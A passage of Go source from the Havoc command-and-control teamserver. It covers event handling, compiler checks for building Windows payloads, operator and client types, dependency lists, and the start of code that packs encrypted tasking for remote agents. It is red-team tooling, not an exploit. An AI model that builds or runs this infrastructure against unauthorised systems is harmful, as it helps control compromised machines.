packager.Package) []packager.Package { // some sanity check if event.Head.Event == 0 { return t.EventsList } if event.Head.OneTime != "true" { t.EventsList = append(t.EventsList, event) return append(t.EventsList, event) } return nil } func (t *Teamserver) EventRemove(EventID int) []packager.Package { t.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) return append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) } func (t *Teamserver) SendAllPackagesToNewClient(ClientID string) { for _, Package := range t.EventsList { err := t.SendEvent(ClientID, Package) if err != nil { logger.Error("error while sending info to client("+ClientID+"): ", err) return } } // send all the agents that are alive right now to the new client for _, demon := range t.Agents.Agents { if demon.Active == false { continue } pk := t.EventNewDemon(demon) err := t.SendEvent(ClientID, pk) if err != nil { logger.Error("error while sending info to client("+ClientID+"): ", err) return } } } func (t *Teamserver) FindSystemPackages() bool { var err error if t.Profile.Config.Server.Build != nil { if len(t.Profile.Config.Server.Build.Compiler64) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Compiler64); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Compiler x64 path doesn't exist: " + t.Profile.Config.Server.Build.Compiler64) return false } t.Settings.Compiler64 = t.Profile.Config.Server.Build.Compiler64 } else { t.Settings.Compiler64, err = exec.LookPath("x86_64-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x64 mingw compiler: " + err.Error()) return false } } if len(t.Profile.Config.Server.Build.Compiler86) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Compiler86); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Compiler x86 path doesn't exist: " + t.Profile.Config.Server.Build.Compiler86) return false } t.Settings.Compiler32 = t.Profile.Config.Server.Build.Compiler86 } else { t.Settings.Compiler32, err = exec.LookPath("i686-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x86 mingw compiler: " + err.Error()) return false } } if len(t.Profile.Config.Server.Build.Nasm) > 0 { if _, err := os.Stat(t.Profile.Config.Server.Build.Nasm); os.IsNotExist(err) { logger.SetStdOut(os.Stderr) logger.Error("Nasm path doesn't exist: " + t.Profile.Config.Server.Build.Nasm) return false } t.Settings.Nasm = t.Profile.Config.Server.Build.Nasm } else { t.Settings.Nasm, err = exec.LookPath("nasm") if err != nil { logger.Error("Couldn't find nasm: " + err.Error()) return false } } } else { t.Settings.Compiler64, err = exec.LookPath("x86_64-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x64 mingw compiler: " + err.Error()) return false } t.Settings.Compiler32, err = exec.LookPath("i686-w64-mingw32-gcc") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find x86 mingw compiler: " + err.Error()) return false } t.Settings.Nasm, err = exec.LookPath("nasm") if err != nil { logger.SetStdOut(os.Stderr) logger.Error("Couldn't find nasm: " + err.Error()) return false } } logger.Info(fmt.Sprintf( "Build: \n"+ " - Compiler x64 : %v\n"+ " - Compiler x86 : %v\n"+ " - Nasm : %v", colors.Blue(t.Settings.Compiler64), colors.Blue(t.Settings.Compiler32), colors.Blue(t.Settings.Nasm), )) return true } func (t *Teamserver) EndpointAdd(endpoint *Endpoint) bool { for _, e := range t.Endpoints { if e.Endpoint == endpoint.Endpoint { return false } } t.Endpoints = append(t.Endpoints, endpoint) return true } func (t *Teamserver) EndpointRemove(endpoint string) []*Endpoint { for i := range t.Endpoints { if t.Endpoints[i].Endpoint == endpoint { t.Endpoints = append(t.Endpoints[:i], t.Endpoints[i+1:]...) return t.Endpoints } } return t.Endpoints } ================================================ FILE: teamserver/cmd/server/types.go ================================================ package server import ( "Havoc/pkg/agent" "Havoc/pkg/db" "Havoc/pkg/packager" "Havoc/pkg/profile" "Havoc/pkg/service" "Havoc/pkg/webhook" "sync" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" ) type Listener struct { Name string Type int Config any } type Client struct { ClientID string Username string GlobalIP string ClientVersion string Connection *websocket.Conn Packager *packager.Packager Authenticated bool SessionID string Mutex sync.Mutex } type Users struct { Name string Password string Hashed bool Online bool } type serverFlags struct { Host string Port string Profile string Verbose bool Debug bool DebugDev bool SendLogs bool Default bool } type utilFlags struct { NoBanner bool Debug bool Verbose bool Test bool ListOperators bool } type TeamserverFlags struct { Server serverFlags Util utilFlags } type Endpoint struct { Endpoint string Function func(ctx *gin.Context) } type Teamserver struct { Flags TeamserverFlags Profile *profile.Profile Clients sync.Map // map[string]*Client Users []Users EventsList []packager.Package Service *service.Service WebHooks *webhook.WebHook DB *db.DB Server struct { Path string Engine *gin.Engine } Agents agent.Agents Listeners []*Listener Endpoints []*Endpoint Settings struct { Compiler64 string Compiler32 string Nasm string } } ================================================ FILE: teamserver/cmd/server.go ================================================ package cmd import ( "fmt" "os" "time" "Havoc/cmd/server" "Havoc/pkg/colors" "Havoc/pkg/events" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/spf13/cobra" ) var CobraServer = &cobra.Command{ Use: "server", Short: "teamserver command", SilenceUsage: true, RunE: func(cmd *cobra.Command, args []string) error { var ( DirPath, _ = os.Getwd() ServerTimer = time.Now() LogrPath = "data/loot/" + ServerTimer.Format("2006.01.02._15:04:05") Server *server.Teamserver ) if len(os.Args) <= 2 { err := cmd.Help() if err != nil { return err } os.Exit(0) } Server = server.NewTeamserver(DatabasePath) Server.SetServerFlags(flags) logr.LogrInstance = logr.NewLogr(DirPath, LogrPath) if logr.LogrInstance == nil { logger.Error("failed to create logr loot folder") return nil } logr.LogrInstance.LogrSendText = func(text string) { var pk = events.Teamserver.Logger(text) Server.EventAppend(pk) Server.EventBroadcast("", pk) } logr.LogrInstance.ServerStdOutInit() startMenu() if flags.Server.Debug { logger.SetDebug(true) logger.Debug("Debug mode enabled") } logger.ShowTime(flags.Server.Verbose) logger.Info(fmt.Sprintf("Havoc Framework [Version: %v] [CodeName: %v]", VersionNumber, VersionName)) if flags.Server.Default { Server.SetProfile(DirPath + "/data/havoc.yaotl") } else if flags.Server.Profile != "" { Server.SetProfile(flags.Server.Profile) } else { logger.Error("No profile specified. Specify a profile with --profile or choose the standard profile with --default") os.Exit(1) } if !Server.FindSystemPackages() { logger.Error("Please install needed packages. Refer to the Wiki for more help.") os.Exit(1) } logger.Info("Time: " + colors.Yellow(ServerTimer.Format("02/01/2006 15:04:05"))) logger.Info("Teamserver logs saved under: " + colors.Blue(LogrPath)) // start teamserver Server.Start() os.Exit(0) return nil }, } ================================================ FILE: teamserver/go.mod ================================================ module Havoc go 1.21.0 require ( github.com/agext/levenshtein v1.2.3 github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 github.com/apparentlymart/go-textseg/v13 v13.0.0 github.com/davecgh/go-spew v1.1.1 github.com/fatih/color v1.17.0 github.com/fatih/structs v1.1.0 github.com/gin-gonic/gin v1.10.0 github.com/go-test/deep v1.0.7 github.com/google/go-cmp v0.6.0 github.com/gorilla/websocket v1.5.3 github.com/kylelemons/godebug v1.1.0 github.com/mattn/go-sqlite3 v1.14.23 github.com/mitchellh/go-wordwrap v1.0.1 github.com/olekukonko/tablewriter v0.0.5 github.com/sergi/go-diff v1.2.0 github.com/spf13/cobra v1.8.1 github.com/zclconf/go-cty v1.15.0 golang.org/x/crypto v0.27.0 golang.org/x/image v0.20.0 golang.org/x/text v0.18.0 ) require ( github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/bytedance/sonic v1.12.2 // indirect github.com/bytedance/sonic/loader v0.2.0 // indirect github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/gabriel-vasile/mimetype v1.4.5 // indirect github.com/gin-contrib/sse v0.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-playground/validator/v10 v10.22.0 // indirect github.com/goccy/go-json v0.10.3 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/cpuid/v2 v2.2.8 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.16 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/pelletier/go-toml/v2 v2.2.3 // indirect github.com/rivo/uniseg v0.4.7 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/twitchyliquid64/golang-asm v0.15.1 // indirect github.com/ugorji/go/codec v1.2.12 // indirect golang.org/x/arch v0.10.0 // indirect golang.org/x/net v0.29.0 // indirect golang.org/x/sys v0.25.0 // indirect google.golang.org/protobuf v1.34.2 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: teamserver/go.sum ================================================ github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 h1:MzVXffFUye+ZcSR6opIgz9Co7WcDx6ZcY+RjfFHoA0I= github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= github.com/apparentlymart/go-textseg/v13 v13.0.0 h1:Y+KvPE1NYz0xl601PVImeQfFyEy6iT90AvPUL1NNfNw= github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= github.com/bytedance/sonic v1.12.2 h1:oaMFuRTpMHYLpCntGca65YWt5ny+wAceDERTkT2L9lg= github.com/bytedance/sonic v1.12.2/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk= github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/bytedance/sonic/loader v0.2.0 h1:zNprn+lsIP06C/IqCHs3gPQIvnvpKbbxyXQP1iU4kWM= github.com/bytedance/sonic/loader v0.2.0/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4= github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4= github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= github.com/go-test/deep v1.0.7 h1:/VSMRlnY/JSyqxQUzQLKVMAskpY/NZKFA5j2P+0pP2M= github.com/go-test/deep v1.0.7/go.mod h1:QV8Hv/iy04NyLBxAdO9njL0iVPN1S4d/A3NVv1V36o8= github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc= github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/go-sqlite3 v1.14.23 h1:gbShiuAP1W5j9UOksQ06aiiqPMxYecovVGwmTxWtuw0= github.com/mattn/go-sqlite3 v1.14.23/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= github.com/zclconf/go-cty v1.15.0 h1:tTCRWxsexYUmtt/wVxgDClUe+uQusuI443uL6e+5sXQ= github.com/zclconf/go-cty v1.15.0/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= golang.org/x/arch v0.10.0 h1:S3huipmSclq3PJMNe76NGwkBR504WFkQ5dhzWzP8ZW8= golang.org/x/arch v0.10.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A= golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70= golang.org/x/image v0.20.0 h1:7cVCUjQwfL18gyBJOmYvptfSHS8Fb3YUDtfLIZ7Nbpw= golang.org/x/image v0.20.0/go.mod h1:0a88To4CYVBAHp5FXJm8o7QbUl37Vd85ply1vyD8auM= golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224= golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= ================================================ FILE: teamserver/main.go ================================================ package main import "Havoc/cmd" import "Havoc/pkg/logger" func main() { err := cmd.HavocCli.Execute() if err != nil { logger.Error("Failed to execute havoc") return } } ================================================ FILE: teamserver/pkg/agent/agent.go ================================================ package agent import ( "bytes" "encoding/binary" //"encoding/hex" "encoding/json" "errors" "fmt" "io" "net" "os" "path/filepath" "strconv" "strings" "time" "reflect" "Havoc/pkg/common" "Havoc/pkg/common/crypt" "Havoc/pkg/common/packer" "Havoc/pkg/common/parser" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/fatih/structs" ) func BuildPayloadMessage(Jobs []Job, AesKey []byte, AesIv []byte) []byte { var ( DataPayload []byte PayloadPackage []byte PayloadPackageSize = make([]byte, 4) RequestID = make([]byte, 4) DataCommandID = make([]byte, 4) ) for _, job := range Jobs { for i := range job.Data { switch job.Data[i].(type) { case int: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int))) DataPayload = append(DataPayload, integer32...) break case int64: var integer64 = make([]byte, 8) binary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(int64))) DataPayload = append(DataPayload, integer64...) break case uint64: var integer64 = make([]byte, 8) binary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(uint64))) DataPayload = append(DataPayload, integer64...) break case int32: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int32))) DataPayload = append(DataPayload, integer32...) break case uint32: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, job.Data[i].(uint32)) DataPayload = append(DataPayload, integer32...) break case int16: var integer16 = make([]byte, 2) binary.LittleEndian.PutUint16(integer16, uint16(job.Data[i].(int16))) DataPayload = append(DataPayload, integer16...) break case uint16: var 